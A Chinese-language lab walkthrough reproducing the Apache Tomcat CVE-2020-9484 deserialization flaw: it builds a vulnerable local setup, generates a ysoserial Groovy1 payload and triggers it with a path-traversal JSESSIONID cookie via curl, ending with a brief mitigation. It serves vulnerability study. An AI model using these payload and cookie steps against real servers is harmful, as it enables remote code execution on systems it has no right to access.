北京时间2020年05月20日,Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484。
Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击。
Apache Tomcat: 10.0.0-M1 to 10.0.0-M4
Apache Tomcat: 9.0.0.M1 to 9.0.34
Apache Tomcat: 8.5.0 to 8.5.54
Apache Tomcat: 7.0.0 to 7.0.103
需要环境:虚拟机、centos 7 系统
安装tomcat需要jdk1.8,安装教程可以去Kali-JDK1-8安装 - 简书
下载安装tomcat,
wget https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz
然后呢,创建一个文件夹用来把tomcat目录,将tomcat解压进去
mkdir /usr/local/tomcat
tar -zxvf tomcat-10.0.0-M4.tar.gz -C /usr/local/tomcat/
修改/usr/local/tomcat/apache-tomcat-10.0.0-M4/conf
/context.xlm 添加Manager 保存退出
下载groovy-2.3.9.jar,然后将groovy-2.3.9.jar 放入/usr/local/tomcat/apache-tomcat-10.0.0-M4/lib
目录下
在lib下执行:
wget https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar
运行tomcat:在usr/local/tomcat/apache-tomcat-10.0.0-M4/bin目录下运行catalina.sh start
/usr/local/tomcat/apache-tomcat-10.0.0-M4/bin/catalina.sh start
访问http://127.0.0.1:8080端口,显示如下界面,说明安装成功
下载ysoserial 一个生成java反序列化 payload 的 .jar 包
下载地址: https://github.com/frohoff/ysoserial.git
用浏览器下载,解压,并生成一个jar包,复制进linux系统
生成jar包的方式,进入文件夹的目录输入 输入命令: mvn package
编译有点慢需要几分钟世间
编译完成后在target目录下,有jar包
执行下面语句生成 payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "touch /tmp/2333" > /tmp/test.session
使用以下命令访问tomcat服务
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'
虽然显示报错,但是也执行了。在/tmp目录下创建了2333目录
禁止使用Session持久化功能FileStore。
参考链接:
https://github.com/masahiro331/CVE-2020-9484
https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg
https://github.com/threedr3am/tomcat-cluster-session-sync-exp